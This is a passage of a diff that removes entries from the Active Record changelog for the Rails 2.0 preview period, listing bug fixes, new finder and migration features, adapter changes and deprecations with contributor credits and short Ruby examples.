-* Explain semantics of having several different AR instances in a transaction block. Closes #9036 [jacobat, Marcel Molina Jr.]
-
-* Update Schema documentation to use updated sexy migration notation. Closes #10086 [Sam Granieri]
-
-* Make fixtures work with the new test subclasses. [Tarmo Tänav, Michael Koziarski]
-
-* Introduce finder :joins with associations. Same :include syntax but with inner rather than outer joins.  #10012 [RubyRedRick]
-    # Find users with an avatar
-    User.find(:all, :joins => :avatar)
-
-    # Find posts with a high-rated comment.
-    Post.find(:all, :joins => :comments, :conditions => 'comments.rating > 3')
-
-* Associations: speedup duplicate record check.  #10011 [Pratik Naik]
-
-* Make sure that << works on has_many associations on unsaved records.  Closes #9989 [Josh Susser]
-
-* Allow association redefinition in subclasses.  #9346 [wildchild]
-
-* Fix has_many :through delete with custom foreign keys.  #6466 [naffis]
-
-* Foxy fixtures, from rathole (http://svn.geeksomnia.com/rathole/trunk/README)
-    - stable, autogenerated IDs
-    - specify associations (belongs_to, has_one, has_many) by label, not ID
-    - specify HABTM associations as inline lists
-    - autofill timestamp columns
-    - support YAML defaults
-    - fixture label interpolation
-  Enabled for fixtures that correspond to a model class and don't specify a primary key value.  #9981 [John Barnette]
-
-* Add docs explaining how to protect all attributes using attr_accessible with no arguments. Closes #9631 [boone, rmm5t]
-
-* Update add_index documentation to use new options api. Closes #9787 [Kamal Fariz Mahyuddin]
-
-* Allow find on a has_many association defined with :finder_sql to accept id arguments as strings like regular find does. Closes #9916 [krishna]
-
-* Use VALID_FIND_OPTIONS when resolving :find scoping rather than hard coding the list of valid find options. Closes #9443 [sur]
-
-* Limited eager loading no longer ignores scoped :order. Closes #9561 [Jack Danger Canty, Josh Peek]
-
-* Assigning an instance of a foreign class to a composed_of aggregate calls an optional conversion block. Refactor and simplify composed_of implementation.  #6322 [brandon, Chris Cruft]
-
-* Assigning nil to a composed_of aggregate also sets its immediate value to nil.  #9843 [Chris Cruft]
-
-* Ensure that mysql quotes table names with database names correctly.  Closes #9911 [crayz]
-
-  "foo.bar" => "`foo`.`bar`"  
-
-* Complete the assimilation of Sexy Migrations from ErrFree [Chris Wanstrath, PJ Hyett]
-	http://errtheblog.com/post/2381
-
-* Qualified column names work in hash conditions, like :conditions => { 'comments.created_at' => ... }.  #9733 [Jack Danger Canty]
-
-* Fix regression where the association would not construct new finder SQL on save causing bogus queries for "WHERE owner_id = NULL" even after owner was saved.  #8713 [Bryan Helmkamp]
-
-* Refactor association create and build so before & after callbacks behave consistently.  #8854 [Pratik Naik, mortent]
-
-* Quote table names. Defaults to column quoting.  #4593 [Justin Lynn, gwcoffey, eadz, Dmitry V. Sabanin, Jeremy Kemper]
-
-* Alias association #build to #new so it behaves predictably.  #8787 [Pratik Naik]
-
-* Add notes to documentation regarding attr_readonly behavior with counter caches and polymorphic associations.  Closes #9835 [saimonmoore, Rick Olson]
-
-* Observers can observe model names as symbols properly now.  Closes #9869  [queso]
-
-* find_and_(initialize|create)_by methods can now properly initialize protected attributes [Tobias Lütke]
-
-* belongs_to infers the foreign key from the association name instead of from the class name.  [Jeremy Kemper]
-
-* PostgreSQL: support multiline default values.  #7533 [Carl Lerche, aguynamedryan, Rein Henrichs, Tarmo Tänav]
-
-* MySQL: fix change_column on not-null columns that don't accept dfeault values of ''.  #6663 [Jonathan Viney, Tarmo Tänav]
-
-* validates_uniqueness_of behaves well with abstract superclasses and
-single-table inheritance.  #3833, #9886 [Gabriel Gironda, rramdas, François Beausoleil, Josh Peek, Tarmo Tänav, pat]
-
-* Warn about protected attribute assigments in development and test environments when mass-assigning to an attr_protected attribute.  #9802 [Henrik N]
-
-* Speedup database date/time parsing.  [Jeremy Kemper, Tarmo Tänav]
-
-* Fix calling .clear on a has_many :dependent=>:delete_all association. [Tarmo Tänav]
-
-* Allow change_column to set NOT NULL in the PostgreSQL adapter [Tarmo Tänav]
-
-* Fix that ActiveRecord would create attribute methods and override custom attribute getters if the method is also defined in Kernel.methods. [Rick Olson]
-
-* Don't call attr_readonly on polymorphic belongs_to associations, in case it matches the name of some other non-ActiveRecord class/module.  [Rick Olson]
-
-* Try loading activerecord-<adaptername>-adapter gem before trying a plain require so you can use custom gems for the bundled adapters. Also stops gems from requiring an adapter from an old Active Record gem.  [Jeremy Kemper, Derrick Spell]
-
-
-*2.0.0 [Preview Release]* (September 29th, 2007) [Includes duplicates of changes from 1.14.2 - 1.15.3]
-
-* Add attr_readonly to specify columns that are skipped during a normal ActiveRecord #save operation. Closes #6896 [Dan Manges]
-
-  class Comment < ActiveRecord::Base
-    # Automatically sets Article#comments_count as readonly.
-    belongs_to :article, :counter_cache => :comments_count
-  end
-
-  class Article < ActiveRecord::Base
-    attr_readonly :approved_comments_count
-  end
-
-* Make size for has_many :through use counter cache if it exists.  Closes #9734 [Xavier Shay]
-
-* Remove DB2 adapter since IBM chooses to maintain their own adapter instead.  [Jeremy Kemper]
-
-* Extract Oracle, SQLServer, and Sybase adapters into gems.  [Jeremy Kemper]
-
-* Added fixture caching that'll speed up a normal fixture-powered test suite between 50% and 100% #9682 [Frederick Cheung]
-
-* Correctly quote id list for limited eager loading.  #7482 [tmacedo]
-
-* Fixed that using version-targetted migrates would fail on loggers other than the default one #7430 [valeksenko]
-
-* Fixed rename_column for SQLite when using symbols for the column names #8616 [drodriguez]
-
-* Added the possibility of using symbols in addition to concrete classes with ActiveRecord::Observer#observe.  #3998 [Robby Russell, Tarmo Tänav]
-
-* Added ActiveRecord::Base#to_json/from_json [David Heinemeier Hansson, Cheah Chu Yeow]
-
-* Added ActiveRecord::Base#from_xml [David Heinemeier Hansson]. Example:
-
-    xml = "<person><name>David</name></person>"
-    Person.new.from_xml(xml).name # => "David"
-
-* Define dynamic finders as real methods after first usage. [bscofield]
-
-* Deprecation: remove deprecated threaded_connections methods. Use allow_concurrency instead.  [Jeremy Kemper]
-
-* Associations macros accept extension blocks alongside modules.  #9346 [Josh Peek]
-
-* Speed up and simplify query caching.  [Jeremy Kemper]
-
-* connection.select_rows 'sql' returns an array (rows) of arrays (field values).  #2329 [Michael Schuerig]
-
-* Eager loading respects explicit :joins.  #9496 [dasil003]
-
-* Extract Firebird, FrontBase, and OpenBase adapters into gems.  #9508, #9509, #9510 [Jeremy Kemper]
-
-* RubyGem database adapters: expects a gem named activerecord-<database>-adapter with active_record/connection_adapters/<database>_adapter.rb in its load path.  [Jeremy Kemper]
-
-* Fixed that altering join tables in migrations would fail w/ sqlite3 #7453 [TimoMihaljov/brandon]
-
-* Fix association writer with :dependent => :nullify.  #7314 [Jonathan Viney]
-
-* OpenBase: update for new lib and latest Rails. Support migrations.  #8748 [dcsesq]
-
-* Moved acts_as_tree into a plugin of the same name on the official Rails svn.  #9514 [Pratik Naik]
-
-* Moved acts_as_nested_set into a plugin of the same name on the official Rails svn.  #9516 [Josh Peek]
-
-* Moved acts_as_list into a plugin of the same name on the official Rails svn.  [Josh Peek]
-
-* Explicitly require active_record/query_cache before using it.  [Jeremy Kemper]
-
-* Fix bug where unserializing an attribute attempts to modify a frozen @attributes hash for a deleted record.  [Rick Olson, marclove]
-
-* Performance: absorb instantiate and initialize_with_callbacks into the Base methods. [Jeremy Kemper]
-
-* Fixed that eager loading queries and with_scope should respect the :group option [David Heinemeier Hansson]
-
-* Improve performance and functionality of the postgresql adapter.  Closes #8049 [roderickvd]
-
-	For more information see: http://dev.rubyonrails.org/ticket/8049
-
-* Don't clobber includes passed to has_many.count [Jack Danger Canty]
-
-* Make sure has_many uses :include when counting [Jack Danger Canty]
-
-* Change the implementation of ActiveRecord's attribute reader and writer methods [Michael Koziarski]
- - Generate Reader and Writer methods which cache attribute values in hashes.  This is to avoid repeatedly parsing the same date or integer columns.
- - Change exception raised when users use find with :select then try to access a skipped column.  Plugins could override missing_attribute() to lazily load the columns.
- - Move method definition to the class, instead of the instance
- - Always generate the readers, writers and predicate methods.
-
-* Perform a deep #dup on query cache results so that modifying activerecord attributes does not modify the cached attributes.  [Rick Olson]
-
-# Ensure that has_many :through associations use a count query instead of loading the target when #size is called.  Closes #8800 [Pratik Naik]
-
-* Added :unless clause to validations #8003 [monki]. Example: 
-
-    def using_open_id?
-      !identity_url.blank?
-    end
-
-    validates_presence_of :identity_url, :if => using_open_id?
-    validates_presence_of :username, :unless => using_open_id?
-    validates_presence_of :password, :unless => using_open_id?
-
-* Fix #count on a has_many :through association so that it recognizes the :uniq option.  Closes #8801 [Pratik Naik]
-
-* Fix and properly document/test count(column_name) usage. Closes #8999 [Pratik Naik]
-
-* Remove deprecated count(conditions=nil, joins=nil) usage.  Closes #8993 [Pratik Naik]
-
-* Change belongs_to so that the foreign_key assumption is taken from the association name, not the class name.  Closes #8992 [Josh Susser]
-
-  OLD
-    belongs_to :visitor, :class_name => 'User' # => inferred foreign_key is user_id
-    
-  NEW
-    belongs_to :visitor, :class_name => 'User' # => inferred foreign_key is visitor_id
-
-* Remove spurious tests from deprecated_associations_test, most of these aren't deprecated, and are duplicated in associations_test.  Closes #8987 [Pratik Naik]
-
-* Make create! on a has_many :through association return the association object.  Not the collection.  Closes #8786 [Pratik Naik]
-
-* Move from select * to select tablename.* to avoid clobbering IDs. Closes #8889 [dasil003]
-
-* Don't call unsupported methods on associated objects when using :include, :method with to_xml #7307, [Manfred Stienstra, jwilger]
-
-* Define collection singular ids method for has_many :through associations.  #8763 [Pratik Naik]
-
-* Array attribute conditions work with proxied association collections.  #8318 [Kamal Fariz Mahyuddin, theamazingrando]
-
-* Fix polymorphic has_one associations declared in an abstract class.  #8638 [Pratik Naik, Dax Huiberts]
-
-* Fixed validates_associated should not stop on the first error.  #4276 [mrj, Manfred Stienstra, Josh Peek]
-
-* Rollback if commit raises an exception.  #8642 [kik, Jeremy Kemper]
-
-* Update tests' use of fixtures for the new collections api.  #8726 [Kamal Fariz Mahyuddin]
-
-* Save associated records only if the association is already loaded.  #8713 [Blaine]
-
-* MySQL: fix show_variable.  #8448 [matt, Jeremy Kemper]
-
-* Fixtures: correctly delete and insert fixtures in a single transaction.  #8553 [Michael Schuerig]
-
-* Fixtures: people(:technomancy, :josh) returns both fixtures.  #7880 [technomancy, Josh Peek]
-
-* Calculations support non-numeric foreign keys.  #8154 [Kamal Fariz Mahyuddin]
-
-* with_scope is protected.  #8524 [Josh Peek]
-
-* Quickref for association methods.  #7723 [marclove, Mindsweeper]
-
-* Calculations: return nil average instead of 0 when there are no rows to average.  #8298 [davidw]
-
-* acts_as_nested_set: direct_children is sorted correctly.  #4761 [Josh Peek, rails@33lc0.net]
-
-* Raise an exception if both attr_protected and attr_accessible are declared.  #8507 [stellsmi]
-
-* SQLite, MySQL, PostgreSQL, Oracle: quote column names in column migration SQL statements.  #8466 [marclove, lorenjohnson]
-
-* Allow nil serialized attributes with a set class constraint.  #7293 [sandofsky]
-
-* Oracle: support binary fixtures.  #7987 [Michael Schoen]
-
-* Fixtures: pull fixture insertion into the database adapters.  #7987 [Michael Schoen]
-
-* Announce migration versions as they're performed.  [Jeremy Kemper]
-
-* find gracefully copes with blank :conditions.  #7599 [Dan Manges, johnnyb]
-
-* validates_numericality_of takes :greater_than, :greater_than_or_equal_to, :equal_to, :less_than, :less_than_or_equal_to, :odd, and :even options.  #3952 [Bob Silva, Dan Kubb, Josh Peek]
-
-* MySQL: create_database takes :charset and :collation options. Charset defaults to utf8.  #8448 [matt]
-
-* Find with a list of ids supports limit/offset.  #8437 [hrudududu]
-
-* Optimistic locking: revert the lock version when an update fails.  #7840 [plang]
-
-* Migrations: add_column supports custom column types.  #7742 [jsgarvin, Theory]
-
-* Load database adapters on demand. Eliminates config.connection_adapters and RAILS_CONNECTION_ADAPTERS. Add your lib directory to the $LOAD_PATH and put your custom adapter in lib/active_record/connection_adapters/adaptername_adapter.rb. This way you can provide custom adapters as plugins or gems without modifying Rails. [Jeremy Kemper]
-
-* Ensure that associations with :dependent => :delete_all respect :conditions option.  Closes #8034 [Jack Danger Canty, Josh Peek, Rick Olson]
-
-* belongs_to assignment creates a new proxy rather than modifying its target in-place.  #8412 [mmangino@elevatedrails.com]
-
-* Fix column type detection while loading fixtures.  Closes #7987 [roderickvd]
-
-* Document deep eager includes.  #6267 [Josh Susser, Dan Manges]
-
-* Document warning that associations names shouldn't be reserved words.  #4378 [murphy@cYcnus.de, Josh Susser]
-
-* Sanitize Base#inspect.  #8392, #8623 [Nik Wakelin, jnoon]
-
-* Replace the transaction {|transaction|..} semantics with a new Exception ActiveRecord::Rollback.   [Michael Koziarski]
-
-* Oracle: extract column length for CHAR also.  #7866 [ymendel]
-
-* Document :allow_nil option for validates_acceptance_of since it defaults to true. [tzaharia]
-
-* Update documentation for :dependent declaration so that it explicitly uses the non-deprecated API. [Jack Danger Canty]
-
-* Add documentation caveat about when to use count_by_sql. [fearoffish]
-
-* Enhance documentation for increment_counter and decrement_counter. [fearoffish]
-
-* Provide brief introduction to what optimistic locking is. [fearoffish]
-
-* Add documentation for :encoding option to mysql adapter. [marclove]
-
-* Added short-hand declaration style to migrations (inspiration from Sexy Migrations, http://errtheblog.com/post/2381) [David Heinemeier Hansson]. Example:
-
-    create_table "products" do |t|
-      t.column "shop_id",    :integer
-      t.column "creator_id", :integer
-      t.column "name",       :string,   :default => "Untitled"
-      t.column "value",      :string,   :default => "Untitled"
-      t.column "created_at", :datetime
-      t.column "updated_at", :datetime
-    end
-  
-  ...can now be written as:
-  
-    create_table :products do |t|
-      t.integer :shop_id, :creator_id
-      t.string  :name, :value, :default => "Untitled"
-      t.timestamps
-    end
-
-* Use association name for the wrapper element when using .to_xml.  Previous behavior lead to non-deterministic situations with STI and polymorphic associations. [Michael Koziarski, jstrachan]
-
-* Improve performance of calling .create on has_many :through associations. [evan]
-
-* Improved cloning performance by relying less on exception raising #8159 [Blaine]
-
-* Added ActiveRecord::Base.inspect to return a column-view like #<Post id:integer, title:string, body:text> [David Heinemeier Hansson]
-
-* Added yielding of Builder instance for ActiveRecord::Base#to_xml calls [David Heinemeier Hansson]
-
-* Small additions and fixes for ActiveRecord documentation.  Closes #7342 [Jeremy McAnally]
-
-* Add helpful debugging info to the ActiveRecord::StatementInvalid exception in ActiveRecord::ConnectionAdapters::SqliteAdapter#table_structure.  Closes #7925. [court3nay]
-
-* SQLite: binary escaping works with $KCODE='u'.  #7862 [tsuka]
-
-* Base#to_xml supports serialized attributes.  #7502 [jonathan]
-
-* Base.update_all :order and :limit options. Useful for MySQL updates that must be ordered to avoid violating unique constraints.  [Jeremy Kemper]
-
-* Remove deprecated object transactions.  People relying on this functionality should install the object_transactions plugin at http://code.bitsweat.net/svn/object_transactions.  Closes #5637 [Michael Koziarski, Jeremy Kemper]
-
-* PostgreSQL: remove DateTime -> Time downcast. Warning: do not enable translate_results for the C bindings if you have timestamps outside Time's domain.  [Jeremy Kemper]
-
-* find_or_create_by_* takes a hash so you can create with more attributes than are in the method name. For example, Person.find_or_create_by_name(:name => 'Henry', :comments => 'Hi new user!') is equivalent to Person.find_by_name('Henry') || Person.create(:name => 'Henry', :comments => 'Hi new user!').  #7368 [Josh Susser]
-
-* Make sure with_scope takes both :select and :joins into account when setting :readonly.  Allows you to save records you retrieve using method_missing on a has_many :through associations.  [Michael Koziarski]
-
-* Allow a polymorphic :source for has_many :through associations.  Closes #7143 [protocool]
-
-* Consistent public/protected/private visibility for chained methods.  #7813 [Dan Manges]
-
-* Oracle: fix quoted primary keys and datetime overflow.  #7798 [Michael Schoen]
-
-* Consistently quote primary key column names.  #7763 [toolmantim]
-
-* Fixtures: fix YAML ordered map support.  #2665 [Manuel Holtgrewe, nfbuckley]
-
-* DateTimes assume the default timezone.  #7764 [Geoff Buesing]
-
-* Sybase: hide timestamp columns since they're inherently read-only.  #7716 [Mike Joyce]
-
-* Oracle: overflow Time to DateTime.  #7718 [Michael Schoen]
-
-* PostgreSQL: don't use async_exec and async_query with postgres-pr.  #7727, #7762 [flowdelic, toolmantim]
-
-* Fix has_many :through << with custom foreign keys.  #6466, #7153 [naffis, Rich Collins]
-
-* Test DateTime native type in migrations, including an edge case with dates
-during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
-
-* SQLServer: correctly schema-dump tables with no indexes or descending indexes.  #7333, #7703 [Jakob Skjerning, Tom Ward]
-
-* SQLServer: recognize real column type as Ruby float.  #7057 [sethladd, Tom Ward]
-
-* Added fixtures :all as a way of loading all fixtures in the fixture directory at once #7214 [Manfred Stienstra]
-
-* Added database connection as a yield parameter to ActiveRecord::Base.transaction so you can manually rollback [David Heinemeier Hansson]. Example:
-
-    transaction do |transaction|
-      david.withdrawal(100)
-      mary.deposit(100)
-      transaction.rollback! # rolls back the transaction that was otherwise going to be successful
-    end
-
-* Made increment_counter/decrement_counter play nicely with optimistic locking, and added a more general update_counters method [Jamis Buck]
-
-* Reworked David's query cache to be available as Model.cache {...}. For the duration of the block no select query should be run more then once. Any inserts/deletes/executes will flush the whole cache however [Tobias Lütke]
-  Task.cache { Task.find(1); Task.find(1) } #=> 1 query
-  
-* When dealing with SQLite3, use the table_info pragma helper, so that the bindings can do some translation for when sqlite3 breaks incompatibly between point releases. [Jamis Buck]
-
-* Oracle: fix lob and text default handling.  #7344 [gfriedrich, Michael Schoen]
-
-* SQLServer: don't choke on strings containing 'null'.  #7083 [Jakob Skjerning]
-
-* MySQL: blob and text columns may not have defaults in 5.x. Update fixtures schema for strict mode.  #6695 [Dan Kubb]
-
-* update_all can take a Hash argument. sanitize_sql splits into two methods for conditions and assignment since NULL values and delimiters are handled differently.  #6583, #7365 [sandofsky, Assaf]
-
-* MySQL: SET SQL_AUTO_IS_NULL=0 so 'where id is null' doesn't select the last inserted id.  #6778 [Jonathan Viney, timc]
-
-* Use Date#to_s(:db) for quoted dates.  #7411 [Michael Schoen]
-
-* Don't create instance writer methods for class attributes.  Closes #7401 [Rick Olson]
-
-* Docs: validations examples.  #7343 [zackchandler]
-
-* Add missing tests ensuring callbacks work with class inheritance.  Closes #7339 [sandofsky]
-
-* Fixtures use the table name and connection from set_fixture_class.  #7330 [Anthony Eden]
-
-* Remove useless code in #attribute_present? since 0 != blank?.  Closes #7249 [Josh Susser]
-
-* Fix minor doc typos. Closes #7157 [Josh Susser]
-
-* Fix incorrect usage of #classify when creating the eager loading join statement.  Closes #7044 [Josh Susser]
-
-* SQLServer: quote table name in indexes query.  #2928 [keithm@infused.org]
-
-* Subclasses of an abstract class work with single-table inheritance.  #5704, #7284 [BertG, nick+rails@ag.arizona.edu]
-
-* Make sure sqlite3 driver closes open connections on disconnect [Rob Rasmussen]
-
-* [DOC] clear up some ambiguity with the way has_and_belongs_to_many creates the default join table name.  #7072 [Jeremy McAnally]
-
-* change_column accepts :default => nil. Skip column options for primary keys.  #6956, #7048 [Dan Manges, Jeremy Kemper]
-
-* MySQL, PostgreSQL: change_column_default quotes the default value and doesn't lose column type information.  #3987, #6664 [Jonathan Viney, Manfred Stienstra, altano@bigfoot.com]
-
-* Oracle: create_table takes a :sequence_name option to override the 'tablename_seq' default.  #7000 [Michael Schoen]
-
-* MySQL: retain SSL settings on reconnect.  #6976 [randyv2]
-
-* Apply scoping during initialize instead of create.  Fixes setting of foreign key when using find_or_initialize_by with scoping. [Cody Fauser]
-
-* SQLServer: handle [quoted] table names.  #6635 [rrich]
-
-* acts_as_nested_set works with single-table inheritance.  #6030 [Josh Susser]
-
-* PostgreSQL, Oracle: correctly perform eager finds with :limit and :order.  #4668, #7021 [eventualbuddha, Michael Schoen]
-
-* Pass a range in :conditions to use the SQL BETWEEN operator.  #6974 [Dan Manges]
-    Student.find(:all, :conditions => { :grade => 9..12 })
-
-* Fix the Oracle adapter for serialized attributes stored in CLOBs.  Closes #6825 [mschoen, tdfowler]
-
-* [DOCS] Apply more documentation for ActiveRecord Reflection.  Closes #4055 [Robby Russell]
-
-* [DOCS] Document :allow_nil option of #validate_uniqueness_of. Closes #3143 [Caio Chassot]
-
-* Bring the sybase adapter up to scratch for 1.2 release. [jsheets]
-
-* Rollback new_record? and id when an exception is raised in a save callback.  #6910 [Ben Curren, outerim]
-
-* Pushing a record on an association collection doesn't unnecessarily load all the associated records.  [Obie Fernandez, Jeremy Kemper]
-
-* Oracle: fix connection reset failure.  #6846 [leonlleslie]
-
-* Subclass instantiation doesn't try to explicitly require the corresponding subclass.  #6840 [leei, Jeremy Kemper]
-
-* fix faulty inheritance tests and that eager loading grabs the wrong inheritance column when the class of your association is an STI subclass. Closes #6859 [protocool]
-
-* Consolidated different create and create! versions to call through to the base class with scope. This fixes inconsistencies, especially related to protected attribtues. Closes #5847 [Alexander Dymo, Tobias Lütke]
-
-* find supports :lock with :include. Check whether your database allows SELECT ... FOR UPDATE with outer joins before using.  #6764 [vitaly, Jeremy Kemper]
-
-* Add AssociationCollection#create! to be consistent with AssociationCollection#create when dealing with a foreign key that is a protected attribute [Cody Fauser]
-
-* Added counter optimization for AssociationCollection#any? so person.friends.any? won't actually load the full association if we have the count in a cheaper form [David Heinemeier Hansson]
-
-* Change fixture_path to a class inheritable accessor allowing test cases to have their own custom set of fixtures. #6672 [Zach Dennis]
-
-* Quote ActiveSupport::Multibyte::Chars.  #6653 [Julian Tarkhanov]
-
-* Simplify query_attribute by typecasting the attribute value and checking whether it's nil, false, zero or blank.  #6659 [Jonathan Viney]
-
-* validates_numericality_of uses \A \Z to ensure the entire string matches rather than ^ $ which may match one valid line of a multiline string.  #5716 [Andreas Schwarz]
-
-* Run validations in the order they were declared.  #6657 [obrie]
-
-* MySQL: detect when a NOT NULL column without a default value is misreported as default ''.  Can't detect for string, text, and binary columns since '' is a legitimate default.  #6156 [simon@redhillconsulting.com.au, obrie, Jonathan Viney, Jeremy Kemper]
-
-* Simplify association proxy implementation by factoring construct_scope out of method_missing.  #6643 [martin]
-
-* Oracle: automatically detect the primary key.  #6594 [vesaria, Michael Schoen]
-
-* Oracle: to increase performance, prefetch 100 rows and enable similar cursor sharing. Both are configurable in database.yml.  #6607 [philbogle@gmail.com, ray.fortna@jobster.com, Michael Schoen]
-
-* Don't inspect unloaded associations.  #2905 [lmarlow]
-
-* SQLite: use AUTOINCREMENT primary key in >= 3.1.0.  #6588, #6616 [careo, lukfugl]
-
-* Cache inheritance_column.  #6592 [Stefan Kaes]
-
-* Firebird: decimal/numeric support.  #6408 [macrnic]
-
-* make add_order a tad faster. #6567 [Stefan Kaes]
-
-* Find with :include respects scoped :order.  #5850
-
-* Support nil and Array in :conditions => { attr => value } hashes.  #6548 [Assaf, Jeremy Kemper]
-    find(:all, :conditions => { :topic_id => [1, 2, 3], :last_read => nil }
-
-* Consistently use LOWER() for uniqueness validations (rather than mixing with UPPER()) so the database can always use a functional index on the lowercased column.  #6495 [Si]
-
-* SQLite: fix calculations workaround, remove count(distinct) query rewrite, cleanup test connection scripts.  [Jeremy Kemper]
-
-* SQLite: count(distinct) queries supported in >= 3.2.6.  #6544 [Bob Silva]
-
-* Dynamically generate reader methods for serialized attributes.  #6362 [Stefan Kaes]
-
-* Deprecation: object transactions warning.  [Jeremy Kemper]
-
-* has_one :dependent => :nullify ignores nil associates.  #4848, #6528 [bellis@deepthought.org, janovetz, Jeremy Kemper]
-
-* Oracle: resolve test failures, use prefetched primary key for inserts, check for null defaults, fix limited id selection for eager loading. Factor out some common methods from all adapters.  #6515 [Michael Schoen]
-
-* Make add_column use the options hash with the Sqlite Adapter. Closes #6464 [obrie]
-
-* Document other options available to migration's add_column. #6419 [grg]
-
-* MySQL: all_hashes compatibility with old MysqlRes class.  #6429, #6601 [Jeremy Kemper]
-
-* Fix has_many :through to add the appropriate conditions when going through an association using STI. Closes #5783. [Jonathan Viney]
-
-* fix select_limited_ids_list issues in postgresql, retain current behavior in other adapters [Rick Olson]
-
-* Restore eager condition interpolation, document it's differences [Rick Olson]
-
-* Don't rollback in teardown unless a transaction was started. Don't start a transaction in create_fixtures if a transaction is started.  #6282 [Jacob Fugal, Jeremy Kemper]
-
-* Add #delete support to has_many :through associations.  Closes #6049 [Martin Landers]
-
-* Reverted old select_limited_ids_list postgresql fix that caused issues in mysql.  Closes #5851 [Rick Olson]
-
-* Removes the ability for eager loaded conditions to be interpolated, since there is no model instance to use as a context for interpolation. #5553 [turnip@turnipspatch.com]
-
-* Added timeout option to SQLite3 configurations to deal more gracefully with SQLite3::BusyException, now the connection can instead retry for x seconds to see if the db clears up before throwing that exception #6126 [wreese@gmail.com]
-
-* Added update_attributes! which uses save! to raise an exception if a validation error prevents saving #6192 [jonathan]
-
-* Deprecated add_on_boundary_breaking (use validates_length_of instead) #6292 [Bob Silva]
-
-* The has_many create method works with polymorphic associations.  #6361 [Dan Peterson]
-
-* MySQL: introduce Mysql::Result#all_hashes to support further optimization.  #5581 [Stefan Kaes]
-
-* save! shouldn't validate twice.  #6324 [maiha, Bob Silva]
-
-* Association collections have an _ids reader method to match the existing writer for collection_select convenience (e.g. employee.task_ids). The writer method skips blank ids so you can safely do @employee.task_ids = params[:tasks] without checking every time for an empty list or blank values.  #1887, #5780 [Michael Schuerig]
-
-* Add an attribute reader method for ActiveRecord::Base.observers [Rick Olson]
-
-* Deprecation: count class method should be called with an options hash rather than two args for conditions and joins.  #6287 [Bob Silva]
-
-* has_one associations with a nil target may be safely marshaled.  #6279 [norbauer, Jeremy Kemper]
-
-* Duplicate the hash provided to AR::Base#to_xml to prevent unexpected side effects [Michael Koziarski]
-
-* Add a :namespace option to  AR::Base#to_xml [Michael Koziarski]
-
-* Deprecation tests. Remove warnings for dynamic finders and for the foo_count method if it's also an attribute. [Jeremy Kemper]
-
-* Mock Time.now for more accurate Touch mixin tests.  #6213 [Dan Peterson]
-
-* Improve yaml fixtures error reporting.  #6205 [Bruce Williams]
-
-* Rename AR::Base#quote so people can use that name in their models. #3628 [Michael Koziarski]
-
-* Add deprecation warning for inferred foreign key. #6029 [Josh Susser]
-
-* Fixed the Ruby/MySQL adapter we ship with Active Record to work with the new authentication handshake that was introduced in MySQL 4.1, along with the other protocol changes made at that time #5723 [jimw@mysql.com]
-
-* Deprecation: use :dependent => :delete_all rather than :exclusively_dependent => true.  #6024 [Josh Susser]
-
-* Document validates_presences_of behavior with booleans: you probably want validates_inclusion_of :attr, :in => [true, false].  #2253 [Bob Silva]
-
-* Optimistic locking: gracefully handle nil versions, treat as zero.  #5908 [Tom Ward]
-
-* to_xml: the :methods option works on arrays of records.  #5845 [Josh Starcher]
-
-* Deprecation: update docs. #5998 [Jakob Skjerning, Kevin Clark]
-
-* Add some XmlSerialization tests for ActiveRecord [Rick Olson]
-
-* has_many :through conditions are sanitized by the associating class.  #5971 [martin.emde@gmail.com]
-
-* Tighten rescue clauses.  #5985 [james@grayproductions.net]
-
-* Fix spurious newlines and spaces in AR::Base#to_xml output [Jamis Buck]
-
-* has_one supports the :dependent => :delete option which skips the typical callback chain and deletes the associated object directly from the database.  #5927 [Chris Mear, Jonathan Viney]
-
-* Nested subclasses are not prefixed with the parent class' table_name since they should always use the base class' table_name.  #5911 [Jonathan Viney]
-
-* SQLServer: work around bug where some unambiguous date formats are not correctly identified if the session language is set to german.  #5894 [Tom Ward, kruth@bfpi]
-
-* SQLServer: fix eager association test.  #5901 [Tom Ward]
-
-* Clashing type columns due to a sloppy join shouldn't wreck single-table inheritance.  #5838 [Kevin Clark]
-
-* Fixtures: correct escaping of \n and \r.  #5859 [evgeny.zislis@gmail.com]
-
-* Migrations: gracefully handle missing migration files.  #5857 [eli.gordon@gmail.com]
-
-* MySQL: update test schema for MySQL 5 strict mode.  #5861 [Tom Ward]
-
-* to_xml: correct naming of included associations.  #5831 [Josh Starcher]
-
-* Pushing a record onto a has_many :through sets the association's foreign key to the associate's primary key and adds it to the correct association.  #5815, #5829 [Josh Susser]
-
-* Add records to has_many :through using <<, push, and concat by creating the association record. Raise if base or associate are new records since both ids are required to create the association. #build raises since you can't associate an unsaved record. #create! takes an attributes hash and creates the associated record and its association in a transaction. [Jeremy Kemper]
-
-    # Create a tagging to associate the post and tag.
-    post.tags << Tag.find_by_name('old')
-    post.tags.create! :name => 'general'
-
-    # Would have been:
-    post.taggings.create!(:tag => Tag.find_by_name('finally')
-    transaction do
-      post.taggings.create!(:tag => Tag.create!(:name => 'general'))
-    end
-
-* Cache nil results for :included has_one associations also.  #5787 [Michael Schoen]
-
-* Fixed a bug which would cause .save to fail after trying to access a empty has_one association on a unsaved record. [Tobias Lütke]
-
-* Nested classes are given table names prefixed by the singular form of the parent's table name. [Jeremy Kemper]
-    Example: Invoice::Lineitem is given table name invoice_lineitems
-
-* Migrations: uniquely name multicolumn indexes so you don't have to. [Jeremy Kemper]
-    # people_active_last_name_index, people_active_deactivated_at_index
-    add_index    :people, [:active, :last_name]
-    add_index    :people, [:active, :deactivated_at]
-    remove_index :people, [:active, :last_name]
-    remove_index :people, [:active, :deactivated_at]
-
-  WARNING: backward-incompatibility. Multicolumn indexes created before this
-  revision were named using the first column name only. Now they're uniquely
-  named using all indexed columns.
-
-  To remove an old multicolumn index, remove_index :table_name, :first_column
-
-* Fix for deep includes on the same association. [richcollins@gmail.com]
-
-* Tweak fixtures so they don't try to use a non-ActiveRecord class.  [Kevin Clark]
-
-* Remove ActiveRecord::Base.reset since Dispatcher doesn't use it anymore.  [Rick Olson]
-
-* Document find's :from option. Closes #5762. [andrew@redlinesoftware.com]
-
-* PostgreSQL: autodetected sequences work correctly with multiple schemas. Rely on the schema search_path instead of explicitly qualifying the sequence name with its schema.  #5280 [guy.naor@famundo.com]
-
-* Replace Reloadable with Reloadable::Deprecated. [Nicholas Seckar]
-
-* Cache nil results for has_one associations so multiple calls don't call the database.  Closes #5757. [Michael Schoen]
-
-* Add documentation for how to disable timestamps on a per model basis. Closes #5684. [matt@mattmargolis.net Marcel Molina Jr.] 
-
-* Don't save has_one associations unnecessarily.  #5735 [Jonathan Viney]
-
